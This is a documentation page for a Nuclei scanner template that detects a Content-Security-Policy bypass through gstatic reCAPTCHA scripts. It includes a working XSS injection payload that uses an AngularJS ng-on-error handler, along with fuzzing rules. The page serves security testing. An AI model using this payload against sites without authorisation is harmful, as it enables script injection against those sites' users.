Content-Security-Policy Bypass - GStatic reCAPTCHA
ID: gstatic-recaptcha-csp-bypass
Severity: medium
Author: renniepak,DhiyaneshDK
Tags: xss,csp-bypass,gstatic-recaptcha
Description
Section titled “Description”YAML Source
Section titled “YAML Source”id: gstatic-recaptcha-csp-bypass
info: name: Content-Security-Policy Bypass - GStatic reCAPTCHA author: renniepak,DhiyaneshDK severity: medium reference: - https://github.com/renniepak/CSPBypass/blob/main/data.tsv metadata: verified: true tags: xss,csp-bypass,gstatic-recaptcha
flow: http(1) && headless(1)
http: - method: GET path: - "{{BaseURL}}"
matchers: - type: word part: header words: - "Content-Security-Policy" - "gstatic.com" condition: and internal: true
headless: - steps: - action: navigate args: url: "{{BaseURL}}"
- action: waitdialog name: gstatic_recaptcha_csp_xss args: max-duration: 5s
payloads: injection: - '<script src="https://www.gstatic.com/recaptcha/about/js/main.min.js"></script><img src=x ng-on-error="$event.target.ownerDocument.defaultView.alert(1)">'
fuzzing: - part: query type: replace mode: single fuzz: - "{{url_encode(injection)}}"
matchers: - type: dsl dsl: - "gstatic_recaptcha_csp_xss == true"# digest: 490a00463044022029a4c2745ab6e04fed88ba020d97d820d1aecb07f3bfbfd4a3cbfc1d123fb01b0220303f8772b9da84b30ba11401d92cbdfe60406411921243fe24631cfbb5df8fd2:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/gstatic-recaptcha-csp-bypass.yaml"